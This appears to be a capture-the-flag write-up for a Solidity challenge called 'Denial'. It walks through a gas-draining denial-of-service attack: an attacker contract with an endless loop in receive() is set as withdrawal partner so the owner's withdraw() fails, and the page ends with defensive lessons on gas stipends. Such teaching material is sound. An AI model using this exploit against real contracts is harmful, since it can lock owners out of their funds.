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Denial

DoS

Description

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
The objective is to perform DoS attack on this contract. The essence of this contract is the withdraw() function:
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
Here two things can lead to DoS:
  1. 1.
    partner.call{value:amountToSend}("") will revert if all the gas is drained.
  2. 2.
    payable(owner).transfer(amountToSend) will revert if gas used exceeds 2300. This is because transfer has 2300 gas limit.
The contract provides setWithdrawPartner() function that let us set the address of partner. Since we have control over partner, not owner, we are going to use option 1 to conduct DoS attack.
The easiest way of draining all gas is writing an infinite loop in receive().

Solution

Step 1: Deploy the exp contract in Remix:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DenialHack {
uint256 public dummy;
receive() external payable {
for (uint256 i; i < type(uint256).max; ++i){
dummy++;
}
}
}
Step 2: In Chrome console, call setWithdrawPartner():
await contract.setWithdrawPartner('<your_exp_contract_address>');
Step 3: Call withdraw():
await contract.withdraw()
This should trigger an "out of gas" error.

Summary

This level demonstrates that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.
If you are using a low level call to continue executing in the event an external call reverts, ensure that you specify a fixed gas stipend. For example call.gas(100000).value().
Typically one should follow the checks-effects-interactions pattern to avoid reentrancy attacks, there can be other circumstances (such as multiple external calls at the end of a function) where issues such as this can arise.
Note: An external CALL can use at most 63/64 of the gas currently available at the time of the CALL. Thus, depending on how much gas is required to complete a transaction, a transaction of sufficiently high gas (i.e. one such that 1/64 of the gas is capable of completing the remaining opcodes in the parent call) can be used to mitigate this particular attack.
Last modified 1mo ago